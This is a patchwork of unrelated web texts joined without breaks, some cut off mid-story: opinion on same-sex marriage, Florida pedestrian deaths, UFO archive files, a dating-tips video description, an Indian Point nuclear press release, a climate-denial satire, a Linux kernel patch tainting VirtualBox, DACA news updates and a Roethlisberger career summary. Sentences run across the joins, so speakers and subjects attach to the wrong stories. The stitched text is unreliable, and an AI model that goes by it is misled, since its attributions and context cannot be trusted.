No one says that democratic theory is easy to understand. But there is nothing in the Kennedy opinion that offers any assurance that the religious beliefs and practices of the shrinking religious minority who are opposed to same-sex marriage will be respected by the Supreme Court. As a libertarian, I support same-sex marriage. As a libertarian, I fear the totalitarian overtones sounding from the next round of gay rights initiatives.Joe Raedle / Getty Vehicles drive through the streets of Miami, Fla.
Ashley Nicole Valdes was a smart, pretty 11-year-old girl who often cared for her younger, mentally disabled sister while their single mother studied to be a paramedic. In January, while crossing the street to get to her home west of Miami, Ashley was struck and killed by a hit-and-run driver in a pickup truck and became a heart-wrenching symbol of South Florida's notoriously reckless car culture. "You see all these people getting run over and you ask yourself: What's happened to us as people here?" says Ashley's mother, Adonay Risete. "We need to get tougher and change attitudes." (Read more TIME city guides, travel stories and advice.)
This month, highway-hugging Floridians are seeing perhaps the most convincing evidence yet that they need an attitude adjustment. A study by the nonprofit Transportation for America in Washington, D.C., lists the most dangerous metropolitan areas for pedestrians, and the worst four just happen to be in the Sunshine State: Orlando, Tampa, Miami and Jacksonville. It may seem like an astonishing find, but it's not actually all that surprising: 490 pedestrians were killed by cars in Florida last year, the most in any state, and South Florida consistently ranks as one of the worst pockets for hit-and-run fatalities.
For an entire nation that has given the automobile far too much right of way, the TFA report, titled "Dangerous by Design," makes it clear that Florida is a cautionary tale. It's especially relevant during the current recession, when the U.S. is also looking to alternative transportation projects like passenger rail to help jump-start the economy. "We're not saying paralyze traffic or penalize drivers," says TFA spokesman David Goldberg. "But we have to restore some balance in this country and fix this deadly situation, especially for the health and safety of our kids and senior citizens."Dr David Clarke, who has analysed all the documents, said it was topic that recurred far more than any other in the files.
He said that “almost half” of all UFO correspondence directed at defence officials, relates to request for information, or “tip-offs” about the 33-year-old incident.
“It is the one case that is outstanding, from all the sightings going back 40 or 50 years,” he added.
“There is no way you will be able to get to the truth of what happened because like a snowball rolling down the hill, the stories have been more and more embellished.”
The incident involved a group of American servicemen stationed at military bases in Suffolk who went into the forest to investigate mysterious lights.
Exactly what occured next has been the subject of fierce debate, but some of the men have since said they saw an alien spacecraft, with one of those involved later claiming to have touched it.
Various attempts have been made to explain the incident, with theories ranging from an elaborate hoax, to the men being confused by lights from a nearby lighthouse. However, it remains a source of fascination for Ufologists.
Among the newly released National Archives files is a document - which the MoD says insists is a fraud - which describes aliens encountered in the forest.
The document, on what appears to be official departmental paper, reports that the “entities” were “approximately 1 1/2 meters tall, wearing what appeared to be nylon coated pressure suits, but no helmets”.
They were apparently “hovering above ground level” and were recorded speaking in and “electronically synthesised version of English, with a strong American accent”.
They were said to have had “claw-like hands and with three fingers and an opposable thumb.”
The government’s official position - repeatedly stated in the files - is that the incident was investigated at the time by the MoD and RAF and the conclusion was that there was no indication the UK’s air defences were breached.
Although many subsequent claims have been made about what happened that night, the MoD says that “nothing has emerged over the last quarter of a century which has given us reason to believe that the original assessment made by this Department was incorrect”.
The UK sighting attracting the second most attention is the Cosford Incident, in 1993, when a number of people reported seeing strange lights in the sky.
Researchers have since explained the sightings as being a Russian rocket and a police helicopter, although some remain unconvinced.This video is no longer available
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Video title:
8 Tells if a woman is into you ✚ ➳ [FIDGET MEME]- Mr2ndopinion.com - 0124
Upload date:
May 5 2017
Uploaded by:
Mr2ndopinion
Video description:
****Share this video**** ------------------------------------ 209/300 this months mission! Thanks to all 209! Also thanks to the 91 to come! Almost there! We have a website! Click our ads to support our hard work: https://mr2ndopinion.com Help me get Custom URL on youtube (37/100 subs): https://www.youtube.com/channel/UCiMJVBUlOyW0LHI7JSxovUA?sub_confirmation=1 We got 8 tells if a woman is into you right here gentlemen! Let Seth take some of the guesswork out of it for you! Alright maybe this video confuses you at some point but that's cuz you haven't listened to me enough yet. You need a larger level of expertise. But no worries. Poppa Seth will be around for a while! In this video, we go over some of the essential tells on how to spot if a woman is into you are not! How to tell if a woman is into you is pretty simple with these 8 tells. 1) Eye contact the 2nd most important one! 2) Her eyes are attracted to you the entire time 3) She talks about you to her friend 4) She asks about you to your friends 5) She tries to get close, even a bit intimate 6) She gives you compliments more than often 7) She is nervous around you 8) There are 1001 tells, seeing them is the most important thing 8 Tells if a woman is into you, you should know! You should learn how to see if a woman likes you gentleman. It's where all the fun starts! Where you can be who you are! There are so many signs like I said. That's why you should keep your eyes on the price. Keep looking for tells. Don't be afraid to walk up to a woman. If you got problems with that watch my video series on confidence! It has tips on how to be confident and how to handle the side-effects of your confidence. One of those is haters! Anyway, gentlemen, you are the man you are and you should grasp those looks of these women. You should keep an eye out for the tells! Do not wait any longer for what lies out there. Go make yourself happy. Do yourself a favor and share this video! Because you know how incredible it is after you watched it! Gentleman flirting is not a problem, the woman will do that with you if you're worth it! The only thing left to do for you is grabbing that chance! Now you know how not to miss it! Greetings Seth Carnett! Lend us a hand or buy us a coffee: http://ko-fi.com/A861GAD Subscribe: https://www.youtube.com/channel/UCiMJVBUlOyW0LHI7JSxovUA?sub_confirmation=1 Website: https://www.mr2ndopinion.com Facebook: https://www.facebook.com/mr2ndopinion Twitter: https://twitter.com/Mr2ndopinion_ Google+: https://plus.google.com/+Mr2ndOpinion1 Instagram: https://www.instagram.com/mr2ndopinion/ Skyrock: http://mr2ndopinion.skyrock.com/ Mr2ndopinion aka Seth Carnett will guide and advisor you on questions relating lifestyle, relationships, food, fitness, gear, education, grooming, and much, much more. Your go-to-guy for advice, opinions and support! If you have any questions feel free to ask mr2ndopinion. He also offers his services on topics he may not have spoken about. Just ask him in the comments and if he has overseen your comment, email him.
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351Indian Point Unit 3 Back in Service, Generating Electricity Following Transformer Replacement
May 26, 2015
Buchanan – Entergy’s Indian Point Unit 3 nuclear power plant returned to service yesterday generating electricity, after a sixteen-day shutdown to replace a failed main electrical transformer. The unit had safely and automatically shut down when the transformer failed on May 9.
Indian Point Unit 2 continues to operate at full power and has been online for 434 continuous days. It was unaffected by the shutdown at unit 3.
“I want to thank our entire Indian Point team for their professionalism and dedication to safe operations that enabled unit 3 to safely shut down as expected following the transformer failure and then returned the plant to service,” said Larry Coyle, the Site Vice President and top Entergy official at Indian Point. “We are working with industry experts to understand the cause of this transformer failure in order to help prevent a recurrence.”
Entergy is also working closely with the U.S. Coast Guard and the New York State Department of Environmental Conservation to investigate and mitigate the environmental impact of a clear, light mineral oil known as dielectric fluid on the Hudson River that leaked from the failed transformer.
Preliminary estimates by the Coast Guard, based on data from the National Oceanic and Atmospheric Administration, indicate that about 3,000 gallons of dielectric fluid entered the river. The failed transformer held approximately 24,000 gallons of dielectric fluid, which acts as an electrical insulator and coolant inside transformers.
Entergy personnel have conducted assessments of approximately 25 locations based on observations regarding potential oil sheens in the Hudson River, implementing the appropriate mitigation efforts at the direction of the Coast Guard and New York State Department of Environmental Conservation at a handful of those sites. Environmental experts determined no action was needed at the other approximately 20 locations. Members of the public can report sightings of transformer dielectric fluid to Entergy at 1-800-472-6372 or environment@safesecurevital.com. Entergy will then investigate.
Visual observations in the plant’s discharge canal and the Hudson River still have not indicated significant quantities of transformer oil, which did not contain PCBs (polychlorinated biphenyls).
Entergy, which owns the plant, intends to announce its preliminary understanding on the cause of the transformer failure by the end of June.
More information on Entergy’s response to the transformer failure, along with photos of the transformer yard clean-up and transformer replacement, is available at http://www.safesecurevital.com/transformer_update.
Indian Point Energy Center, in Buchanan, N.Y., is home to two operating nuclear power plants, unit 2 and unit 3, which generate approximately 2,000 megawatts of electricity and supply about 25 percent of power used annually in New York City and Westchester County. Entergy Corporation is an integrated energy company engaged primarily in electric power production and retail distribution operations. Entergy owns and operates power plants with approximately 30,000 megawatts of electric generating capacity, including nearly 10,000 megawatts of nuclear power, making it one of the nation’s leading nuclear generators.
Indian Point Energy Center’s online address is www.safesecurevital.com.
Entergy's online address is www.entergy.com
Twitter: @Indian_Point
Facebook: Facebook.com/IndianPointEnergyLooking for news you can trust?
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It is cold in New York City today. Why? No one knows! I know what you’re thinking: I know. No, you don’t. Yes, I do. No, you don’t. Yes, I do. It is cold because it’s mid-October, and sometimes in mid-October it is cold in the northeastern United States.
Sorry, Doctor Science, you are wrong. It is cold because global warming is a lie.
It’s really cold outside, they are calling it a major freeze, weeks ahead of normal. Man, we could use a big fat dose of global warming! — Donald J. Trump (@realDonaldTrump) October 19, 2015
Ha ha ha. Global warming? More like global lie made up by Hillary Clinton and George Soros!
Never mind that 2015 will probably be Earth’s hottest year on record. Global warming is clearly not a thing because if it were it would not be cold in New York City in mid-October. That is what Donald Trump is saying.
This isn’t the first time Donald Trump has taken winter as evidence that global warming is not real.
This very expensive GLOBAL WARMING bullshit has got to stop. Our planet is freezing, record low temps,and our GW scientists are stuck in ice — Donald J. Trump (@realDonaldTrump) January 2, 2014
Chris Mooney tackled this subject last year in a blog post aptly titled “Dear Donald Trump: Winter Does Not Disprove Global Warming”:
1. Statements about climate trends must be based on, er, trends. Not individual events or occurrences. Weather is not climate, and anecdotes are not statistics. 2. Global warming is actually expected to increase “heavy precipitation in winter storms,” and for the northern hemisphere, there is evidence that these storms are already more frequent and intense, according to the draft US National Climate Assessment. […] When it’s winter on Earth, it’s also summer on Earth…somewhere else.
Have a nice day.Date Thu, 6 Oct 2011 15:05:27 -0400 From Dave Jones <> Subject RFC: virtualbox tainting. The number of bug reports we get from people with virtualbox loaded are
truly astonishing. It's GPL, but sadly that doesn't mean it's good.
Nearly all of these bugs look like random corruption. (corrupt linked lists,
corrupt page tables, and just plain 'weird' crashes).
This diff adds tainting to the module loader to treat it as we do with stuff
from staging/ (crap). With this tainting in place, automatic bug filing tools
can opt out of automatically filing kernel bugs, and inform the user to file
bugs somewhere more appropriate.
Signed-off-by: Dave Jones <davej@redhat.com>
diff --git a/kernel/module.c b/kernel/module.c
index 04379f92..d26c9a3 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -2653,6 +2653,10 @@ static int check_module_license_and_versions(struct module *mod)
if (strcmp(mod->name, "ndiswrapper") == 0)
add_taint(TAINT_PROPRIETARY_MODULE);
+ /* vbox is garbage. */
+ if (strcmp(mod->name, "vboxdrv") == 0)
+ add_taint(TAINT_CRAP);
+
/* driverloader was caught wrongly pretending to be under GPL */
if (strcmp(mod->name, "driverloader") == 0)
add_taint_module(mod, TAINT_PROPRIETARY_MODULE);Senate Majority Leader Mitch McConnell, R-Ky., right, listens as President Donald Trump speaks during a meeting with congressional leaders and administration officials on tax reform, in the Roosevelt Room of the White House, Tuesday, Sept. 5, 2017, in Washington. (AP Photo/Evan Vucci)
WASHINGTON (AP) — The Latest on President Donald Trump’s decision to phase out a program that shields from deportation young immigrants brought to the country illegally (all times local):
8:40 p.m.
President Donald Trump now says he will “revisit” a program protecting young immigrants brought into the country illegally as children if Congress doesn’t act.
Trump announced Tuesday that he was phasing out President Obama’s Deferred Action for Childhood Arrivals, or DACA, program, but said he’d give Congress six months to come up with an alternative before ending it completely.
Now he’s tweeting that, “Congress now has 6 months to legalize DACA (something the Obama Administration was unable to do).” But he says, “If they can’t, I will revisit this issue!” It’s unclear what that means.
Trump had tweeted earlier that he was looking forward to working with Republicans and Democrats in Congress “to address immigration reform in a way that puts hardworking citizens of our country 1st.”
___
8:30 p.m.
Former President Bill Clinton is criticizing the Trump administration’s decision to begin phasing out a program that protects young immigrants brought to the country illegally, saying it will “crush their dreams and weaken the American Dream for the rest of us.”
Clinton says in a statement issued Tuesday evening that the program “brought hundreds of thousands of young people out of the shadows — allowing them to live without fear, go to school, work, and contribute to America in countless other ways.”
He says the phase-out is wrong and irresponsible, “passing the buck instead of offering sensible solutions for immigration reform.”
Clinton is calling on Congress to act immediately to protect the young immigrants’ status.
___
7 p.m.
President Donald Trump has begun dismantling a government program that shields from deportation hundreds of thousands of young immigrants who were brought into the country illegally as children.
The Trump administration announced Tuesday it’s phasing out the Deferred Action for Childhood Arrivals program and leaving it to Congress to come up with an alternative.
Trump says he has a “great love” for the young immigrants protected by the DACA program. But his decision was met with shock, anger and a sense of betrayal by its beneficiaries, often called “Dreamers.”
Demonstrations broke out in New York City, where police handcuffed and removed over a dozen immigration activists who briefly blocked Trump Tower, and in other cities, including Salt Lake City, Denver, Los Angeles and Portland, Oregon |
20,000-yard passing mark, but failed to throw a touchdown pass as the Steelers lost on Halloween night in the Superdome.[110] Roethlisberger improved to 8–2 as a starter on Monday Night Football in Week 9 against the Cincinnati Bengals, and 63–27 over his first 90 regular season starts (tied with Jim McMahon for 3rd highest win percentage through first 90 starts).[111] Roethlisberger passed for a season-high 387 yards and 3 touchdowns in the Week 10, 39–26 loss, to the New England Patriots, but also had an interception returned for a score and was sacked five times as he tried to rally the Steelers from a 23–3 deficit in the second half on Sunday Night Football.[112]
In his first win over the Oakland Raiders in Week 11, Roethlisberger passed for 275 yards and 3 touchdowns, and rushed for a career-high 55 yards and a touchdown. Celebrating a second-quarter touchdown pass, Roethlisberger was punched in the face by Raiders' defensive lineman Richard Seymour, who was then ejected.[113] Roethlisberger was questionable to start the Week 13 Sunday Night Football game against the Baltimore Ravens with a foot injury, but did start the game and suffered a broken nose on the first series after a hit to the face from Haloti Ngata. Trailing 10–6 in the fourth quarter, Roethlisberger threw a go-ahead touchdown pass to Isaac Redman with 2:51 remaining and the Steelers held on for the 13–10 win as he finished with 253 yards passing.[114]
In Week 17 against the Cleveland Browns, the Steelers clinched the AFC North and the #2 seed in the AFC playoffs. In the 41–9 victory, he finished with 280 passing yards and two touchdowns to earn AFC Offensive Player of the Week.[115][116] He finished the season with a 9–3 record in 12 starts, passing for 3,200 yards, 17 touchdowns and a career-low five interceptions.[117]
Late in the first quarter of the AFC Divisional Round against the Baltimore Ravens, Roethlisberger was sacked and fumbled the ball, and after both teams thought the pass was incomplete, it was eventually picked up by Cory Redding for a Baltimore touchdown. The Steelers trailed, 21–7, in the third quarter before Roethlisberger completed touchdown passes to Heath Miller and Hines Ward to tie the game at 21. With just over two minutes left, the game was tied, 24–24, and the Steelers faced a 3rd & 19. Roethlisberger completed a deep pass to rookie wide receiver Antonio Brown for 58 yards and Rashard Mendenhall's rushing touchdown put the Steelers ahead for good, 31–24, with 1:33 left. It was Roethlisberger's third game-winning drive in a playoff game. He finished with 19 completions on 32 attempts for 226 yards and 2 touchdown passes.[118]
In the AFC Championship against the New York Jets, Roethlisberger rushed for a touchdown in the first half as the Steelers built a 24–0 lead, before the Jets scored 19 unanswered points. With two minutes remaining in the game, Roethlsiberger faced a 3rd & 6. He scrambled right and completed a 14-yard pass to Antonio Brown to seal the victory for Pittsburgh, sending them to their third Super Bowl appearance in the last six seasons. Roethlisberger completed 10 of 19 passes for a season-low 133 yards and two interceptions in the 28–21 victory.[119]
In Super Bowl XLV against the Green Bay Packers, Roethlisberger was hit as he attempted a pass to Mike Wallace in the first quarter, and it was intercepted for a touchdown by Nick Collins. The Steelers trailed, 21–3, in the second quarter before Roethlisberger completed a touchdown pass to Hines Ward to make it 21–10 at halftime. The Steelers closed to within 21–17 in the third quarter, but were unable to score on their next three drives. After falling behind, 28–17, in the fourth quarter, Roethlisberger threw a 25-yard touchdown pass to Mike Wallace, and then pitched the ball to Antwaan Randle El on a lateral for the two-point conversion to make it 28–25. Taking over at his own 13 with 1:59 left and down 31–25, Roethlisberger was unable to lead the game-winning drive against Green Bay this time after his pass fell incomplete to Wallace on 4th & 5 at his own 33-yard line, ensuring the first Super Bowl loss of his career. Roethlisberger finished the 31–25 loss 25 of 40 for 263 yards, 2 touchdowns and 2 interceptions. "I feel like I let the city of Pittsburgh down, the fans, my coaches and my teammates," Roethlisberger said, "and it's not a good feeling."[120] In the offseason, he was ranked 41st by his fellow players on the NFL Top 100 Players of 2011.[121]
2011 season
Roethlisberger in January 2012.
In Week 1 against the Baltimore Ravens, Roethlisberger set career-worsts for turnovers (5) and largest margin of defeat (28) in his first loss against the Ravens since 2006.[122] In Week 2 against the Seattle Seahawks, he became the fourth quarterback to reach 70 wins in his first 100 starts, as he threw for 298 yards and did not turn the ball over. He took a shot to his right knee in the second quarter, but returned after missing two plays to finish the game.[123]
In a 23–20 Week 3 win against the Indianapolis Colts, Roethlisberger threw for a career-high 171 yards in the first quarter, turned the ball over three times in the second quarter, then led the Steelers to the 20th fourth quarter comeback of his career, passing Terry Bradshaw for the most in Steelers' history.[124] In Week 5 against the Tennessee Titans, Roethlisberger threw five touchdown passes for the second time in his career. He earned AFC Offensive Player of the Week honors for the seventh time in his career.[125] In Week 7 against the Arizona Cardinals, Roethlisberger set the franchise record for longest pass with a 95-yard touchdown pass to Mike Wallace. He finished with 361 yards and 3 touchdowns in his first regular season win over the Cardinals.[126] Roethlisberger beat the Tom Brady-led Patriots for the first time in seven years in Week 8, completing 36 of 50 passes for 365 yards and 2 touchdowns.[127] He was named AFC Offensive Player of the Week for the eighth time in his career.[128] In Week 12 against the Kansas City Chiefs, Roethlisberger's career-best streak of 18 consecutive games with 200+ yards passing came to an end as he finished with 193.[129] In Week 13 against the Cincinnati Bengals, Roethlisberger moved past Terry Bradshaw in the Steelers' record books; first for most times sacked, then for most pass completions in team history.[130]
In the second quarter of the Week 14 game against the Cleveland Browns, Roethlisberger's leg was injured on a sack and he left the game. He would return for the second half and played the rest of the game, despite limping on his high-ankle sprain. He threw a game-clinching 79-yard touchdown pass to Antonio Brown late in the fourth quarter as the Steelers won 14–3). Roethlisberger finished with 280 yards passing on just 21 attempts for a career-high 13.33 YPA (min. 15 attempts). On the injury, Roethlisberger said, "It was one of the most painful things I ever felt. It felt like the middle of my leg was just, cracked... it felt like my foot was outside of my leg." [131] In Week 15 against the San Francisco 49ers, Roethlisberger started the game while suffering through a high-ankle sprain. During the game, it was clear that Roethlisberger was still showing signs of the injury due to him limping between plays. He finished the game without any touchdowns but had 330 yards passing while throwing 3 interceptions.[132]
Because of Roethlisberger's leg injury from Week 14, the team opted to sit him and start Charlie Batch in the Week 16 game against the St. Louis Rams, giving Roethlisberger more time to recover.[133]
In Week 17 against the Cleveland Browns, just three weeks after the Browns injured Roethlisberger in Pittsburgh, Roethlisberger once again took the field to face the same opponents in their home stadium. The Steelers opted to start Roethlisberger over Batch because of the possibility that Baltimore could drop its final game, and a win by the Steelers would take back the division title. Despite his injury, Mike Tomlin and the coaching staff believed Roethlisberger gave them their best chance at victory. Big Ben completed 23 of 40 passes for 221 yards with no touchdowns or interceptions. Baltimore went on to win their final game and secured the division title, leaving Steelers with the number 5 seed to face Denver in the Wild Card round of the playoffs.[134]
Roethlisberger in 2012.
In the Wild Card Round against the Denver Broncos, Roethlisberger and the Steelers offense battled a tough Denver defense, trailing 20–6 at the half but tying it at 23–23 before the end of regulation. The game-tying touchdown came on a 2nd and 10 with 3:47 remaining in regulation, in which Big Ben made a vintage play eluding pass rushers before connecting with Jerricho Cotchery on a 31-yard pass. Despite the heroic efforts of Roethlisberger and company, Tim Tebow's magical season continued with his best single-game performance to date, capped off with an 80-yard completion to Demaryius Thomas to end overtime after one play. Roethlisberger completed 22 of 40 passes for 289 yards, with 1 touchdown and 1 interception in the 29–23 overtime loss to end the 2011 season.[135] He was named to the Pro Bowl for the 2011 season.[136] He finished ranked 30th by his peers on the NFL Top 100 Players of 2012.[137]
2012 season
Roethlisberger in 2013.
Roethlisberger threw for 3,265 yards and 26 touchdowns in thirteen games in 2012 as the Steelers finished the season with an 8–8 record. One of his best individual games in the 2012 season came against the Oakland Raiders in Week 3. He had 384 passing yards and four touchdowns in the 34–31 loss.[138] He missed three games due to injury, being replaced by Byron Leftwich, who went 0–1, and Charlie Batch, who went 1–1. It was the Steelers first season missing the playoffs since 2009 and their first with a non-winning record since 2006.[139] He finished ranked 61st among his fellow players on the NFL Top 100 Players of 2013.[140]
2013 season
Roethlisberger threw for 4,261 yards and 28 touchdowns in sixteen games in 2013 as the Steelers finished the season with an 8–8 record.[141][142] In Week 11, in a 37–27 victory over the Detroit Lions, he had 367 passing yards and four touchdowns to earn AFC Offensive Player of the Week.[143][144] They missed the playoffs when the San Diego Chargers defeated the Kansas City Chiefs 27–24 in overtime in Week 17. The Steelers missed back-to-back postseasons for the first time since 1999 and the first time under Mike Tomlin.[145] He was ranked 31st by his fellow players on the NFL Top 100 Players of 2014.[146]
2014 season
On October 26, 2014 against the Indianapolis Colts, Roethlisberger completed 40 of 49 passes for 522 yards and 6 touchdowns as the Steelers defeated the Indianapolis Colts 51–34.[147] With the win, Roethlisberger became just the fourth quarterback in NFL history to get 100 wins in his first 150 starts.[148] He also became the first NFL quarterback to pass for over 500 yards twice in a career. He earned AFC Offensive Player of the Week for his effort against the Colts.[149] In the next game, a 43–23 victory over the Baltimore Ravens, he had 340 passing yards and six passing touchdowns to earn AFC Offensive Player of the Week for the second consecutive week.[150][151]
In the Steelers Week 15 matchup against the Atlanta Falcons, Roethlisberger completed 27 of 35 passes for 360 yards in a 27–20 victory. The victory made Roethlisberger only the sixth quarterback in NFL history to have defeated at least 31 different teams, joining Tom Brady, Drew Brees, Kerry Collins, Brett Favre, and Peyton Manning; like Brady, Roethlisberger has only played with one team and thus hasn't played against the Steelers. The Steelers lost 41–38 in Roethlisberger's only other matchup against Atlanta in 2006, and he was suspended for the Steelers 15–9 overtime victory against the Falcons in 2010.[1]
During 2014, Roethlisberger passed for career highs in yards with 4,952, completion percentage with 67.1, completions with 408, and attempts with 608. Roethlisberger also matched his career high in passing touchdowns with 32, as well as posting a passer rating of 103.3, the second highest of his career. His 4,952 yards were tied for most on the season with Drew Brees, but Roethlisberger reached the mark with fewer completions.[152][153]
The Steelers had an 11–5 record and finished first in the AFC North. They then lost in the Wild Card Round of the playoffs against the Baltimore Ravens by a score of 30–17.[154] He was named to his third career Pro Bowl for the 2014 season.[155] He was ranked 26th by his fellow players on the NFL Top 100 Players of 2015.[156]
2015 season
Roethlisberger in 2015.
On March 13, Roethlisberger signed a five-year contract extension with the Steelers.[157] Roethlisberger went 26 for 38 for 351 yards, one touchdown pass and one interception during a 28–21 loss against the New England Patriots on Thursday Night Football to kick off the 2015 NFL season.[158] However, Roethlisberger and the Steelers would bounce back to win their next two games against the San Francisco 49ers and the St. Louis Rams.[159][160] In the 43–18 victory over the 49ers, he had 369 passing yards and three touchdowns to earn AFC Offensive Player of the Week.[161]
During the September 27 game against the St. Louis Rams, Roethlisberger suffered a sprained MCL and a bone bruise. Roethlisberger missed the Steelers' next four games, during which Michael Vick and Landry Jones combined to go 2–2.
Roethlisberger sustained another injury against the Oakland Raiders on November 8, 2015, suffering a left mid-foot sprain.[162] Due to this injury, he did not start the following week against the Cleveland Browns, although he was listed as active for the game.[163] However, early in the first quarter, Landry Jones sprained his left ankle, resulting in Roethlisberger entering the game in relief for only the second time in his career. Roethlisberger threw for 379 yards and 3 touchdowns on the way to a Steelers win and an AFC Offensive Player of the Week award;[164] his 379 passing yards were the most by a quarterback in relief since Don Strock threw for 403 yards in the Epic in Miami. On November 29, Roethlisberger threw for 456 yards against the Seattle Seahawks, but he also threw 2 interceptions, and the Seahawks took a 39–30 win.[165]
The Steelers clinched a playoff spot with a 10–6 record, finishing second in the AFC North behind the Cincinnati Bengals. They then defeated the Bengals by a score of 18–16 in the Wild Card Round, but lost to the eventual Super Bowl champion Denver Broncos in the Divisional Round by a score of 23–16.[166][167] Roethlisberger was named to his fourth career Pro Bowl and was ranked 21st by his fellow players on the NFL Top 100 Players of 2016.[168][169]
2016 season
Roethlisberger had back-to-back 300-yard passing performances against the Kansas City Chiefs and New York Jets in Weeks 4–5, and combined for nine touchdowns in that span.[170][171] For his effort against the Chiefs, he earned AFC Offensive Player of the Week.[172] However, the following week at Miami, Roethlisberger left the game after suffering a knee injury. He underwent surgery on October 17 and missed the following week against the New England Patriots. The Steelers made the playoffs, winning the AFC North with an 11–5 record.[173] They defeated the Miami Dolphins by a score of 30–12 in the Wild Card Round and beat the Chiefs 18–16 in the Divisional Round. However, the Steelers lost to the Patriots in the AFC Championship by a score of 36–17.[174]
Roethlisberger was named to his third consecutive and fifth career Pro Bowl on December 20, 2016,[175] and was ranked 22nd on the NFL Top 100 Players of 2017, just one spot below his ranking from the previous year.[176]
2017 season
On October 8, 2017, against the Jacksonville Jaguars, Roethlisberger threw a career-high five interceptions as the Steelers lost by a score of 30–9.[177] On November 16 against the Tennessee Titans, he completed 30 of 45 passes for 299 yards and four touchdowns as the Steelers won 40–17.[178] In that game, Roethlisburger recorded his 4,000th career completion on a 3-yard pass to tight end Jesse James.[179] On December 4, Roethlisberger became the 8th quarterback to reach 50,000 career passing yards in a game against the Cincinnati Bengals.[180] During Sunday Night Football against the Baltimore Ravens in Week 14, he completed 44 of 66 passes for 506 yards and 2 touchdowns in a 39–38 win, becoming the first player in NFL history with three career 500-yard passing games. With the win, the Steelers clinched a playoff berth for the AFC North pennant. He also set single-game career highs in both completions and attempts.[181] His 44 completions set an NFL record for the most completions in a non-overtime game and were the second most in NFL history behind Drew Bledsoe's 45 completions in 1994.[182] His performance in Week 14 earned him AFC Offensive Player of the Week.[183]
During Week 15 against the New England Patriots, Roethlisberger finished with 281 passing yards, 2 touchdowns, and an interception.[184] In the closing seconds of the fourth quarter, two controversial moments occurred; Roethlisberger threw a potential game-winning touchdown to tight end Jesse James, but was overturned after James seemingly lost control when the ball touched the ground. Two plays later, Roethlisberger faked a spike to pass, which was intercepted by Duron Harmon, resulting in the Steelers losing 24–27, and allowing the Patriots to clinch the AFC East.[185]
On December 19, 2017, Roethlisberger was named to his fourth consecutive and sixth career Pro Bowl along with his star receiver Antonio Brown and three of his starting offensive lineman among others.[186]
The Steelers finished the 2017 season with a 13–3 record, clinching the AFC North division. In the AFC Divisional Round, the Steelers faced the Jaguars. Although the Jaguars had the #1 passing defense in 2017, Roethlisberger finished with 469 passing yards, 5 touchdowns, and an interception, but the Steelers lost 42–45.[187] He was ranked 18th by his fellow players on the NFL Top 100 Players of 2018.[188]
2018 season
In Week 2, in a 42–37 loss to the Kansas City Chiefs, Roethilsberger passed for 452 yards, three touchdowns, and had a rushing touchdown. He became the third player since 1950 with at least 450 passing yards, three passing touchdowns, and a rushing touchdown in the same game.[189] In Week 3, Roethlisberger completed 79% of his passes for 353 yards and three touchdowns in a 30–27 win over the Tampa Bay Buccaneers, earning him AFC Offensive Player of the Week.[190] In Week 10 against the Carolina Panthers on Thursday Night Football, Roethilsberger had more touchdowns than incompletions (22 of 25 for 328 yards and five touchdowns) in his NFL-record fourth game with a perfect quarterback rating.[191] His performance in Week 10 earned him AFC Offensive Player of the Week.[192] In a Week 12 loss to the Denver Broncos, he passed for a season-high 462 yards, one touchdown, and two interceptions.[193] In Week 16, a 31–28 loss to the New Orleans Saints, he passed for 380 yards and three touchdowns.[194]
Roethlisberger led the league in passing yards (5,129) for the second time in his career.[195] He also led the league in completions (452), attempts (675) and interceptions (16). His 5,129 passing yards and 34 touchdown passes shattered the Steelers' single-season records.[196] However, the Steelers missed the playoffs for the first time since 2013, finishing 2nd place in the AFC North with a 9–6–1 record.[197]
NFL career statistics
Legend Led the league Won the Super Bowl Bold Career high
Regular season
Season Passing Rushing Sacked Fumbles Year Team GP GS Record Cmp Att Pct Yds Y/A Lng TD Int Rtg Att Yds Avg Lng TD Sck Yds Fum Lst 2004 PIT 14 13 13–0 196 295 66.4 2,621 8.9 58 17 11 98.1 56 144 2.6 20 1 30 213 2 2 2005 PIT 12 12 9–3 168 268 62.7 2,385 8.9 85 17 9 98.6 31 69 2.2 13 3 23 129 2 1 2006 PIT 15 15 7–8 280 469 59.7 3,513 7.5 67 18 23 75.4 32 98 3.1 20 2 46 280 5 2 2007 PIT 15 15 10–5 264 404 65.3 3,154 7.8 83 32 11 104.1 35 204 5.8 30T 2 47 347 9 3 2008 PIT 16 16 12–4 281 469 59.9 3,301 7.0 65 17 15 80.1 34 101 3.0 17 2 46 284 14 7 2009 PIT 15 15 9–6 337 506 66.6 4,328 8.6 60 26 12 100.5 40 82 2.1 15 2 50 348 7 3 2010 PIT 12 12 9–3 240 389 61.7 3,200 8.2 56 17 5 97.0 34 176 5.2 31 2 32 220 7 3 2011 PIT 15 15 11–4 324 513 63.2 4,077 7.9 95 21 14 90.1 31 70 2.3 11 0 40 269 8 5 2012 PIT 13 13 7–6 284 449 63.3 3,265 7.3 82 26 8 97.0 26 92 3.5 14 0 30 182 6 3 2013 PIT 16 16 8–8 375 584 64.2 4,261 7.3 67 28 14 92.0 27 99 3.7 19 1 42 282 9 6 2014 PIT 16 16 11–5 408 608 67.1 4,952 8.1 94 32 9 103.3 33 27 0.8 8 0 33 174 9 5 2015 PIT 12 11 7–4 319 469 68.0 3,938 8.4 69 21 16 94.5 15 29 1.9 13 0 20 141 2 0 2016 PIT 14 14 10–4 328 509 64.4 3,819 7.5 72 29 13 95.4 16 14 0.9 14 1 17 141 8 2 2017 PIT 15 15 12–3 360 561 64.2 4,251 7.6 97 28 14 93.4 28 47 1.7 14 0 21 139 3 1 2018 PIT 16 16 9–6–1 452 675 67.0 5,129 7.6 97 34 16 96.5 31 98 3.2 10 3 24 166 7 2 Career 216 214 144–69–1 4,616 7,168 64.4 56,194 7.8 97 363 190 94.2 469 1,350 2.9 31 19 501 3313 98 45
Postseason
